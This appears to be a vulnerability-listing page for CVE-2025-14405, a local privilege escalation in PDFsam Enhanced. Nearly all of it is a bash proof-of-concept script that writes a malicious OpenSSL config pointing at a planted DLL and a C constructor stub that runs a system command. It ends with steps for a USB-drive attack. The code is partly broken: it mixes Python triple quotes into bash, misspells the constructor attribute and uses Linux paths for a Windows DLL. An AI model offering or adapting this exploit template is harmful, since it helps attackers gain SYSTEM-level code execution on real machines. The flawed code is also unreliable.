CVE-2025-14405 PDFsam Enhanced本地权限提升漏洞

#!/bin/bash # CVE-2025-14405 PoC - PDFsam Enhanced Uncontrolled Search Path # This PoC demonstrates creating a malicious OpenSSL config file # that can be used to escalate privileges when PDFsam Enhanced loads MALICIOUS_CONFIG=""" [openssl_init] section = evil_section [evil_section] # Point to a malicious DLL that will be loaded # In real attack, this would be a DLL with payload code dynamic_path = ./malicious.dll """ # Create directory structure for the attack mkdir -p /tmp/pdfsam_attack cd /tmp/pdfsam_attack # Create the malicious OpenSSL config file echo "$MALICIOUS_CONFIG" > openssl.cnf # Create a malicious shared library (placeholder for actual payload) # In real attack scenario, this would be a compiled DLL with SYSTEM payload cat > malicious.c << 'EOF' // Placeholder for malicious DLL code // Should contain code to execute with SYSTEM privileges void _attribute_((constructor)) init() { // System-level code execution here system("whoami > /tmp/pwned.txt"); } EOF echo "[!] Attack files created in /tmp/pdfsam_attack" echo "[!] In physical attack scenario:" echo " 1. Mount USB drive with this structure" echo " 2. Ensure drive letter matches PDFsam's OpenSSL config path" echo " 3. Execute PDFsam Enhanced to trigger DLL loading" echo " 4. Check /tmp/pwned.txt for SYSTEM-level execution"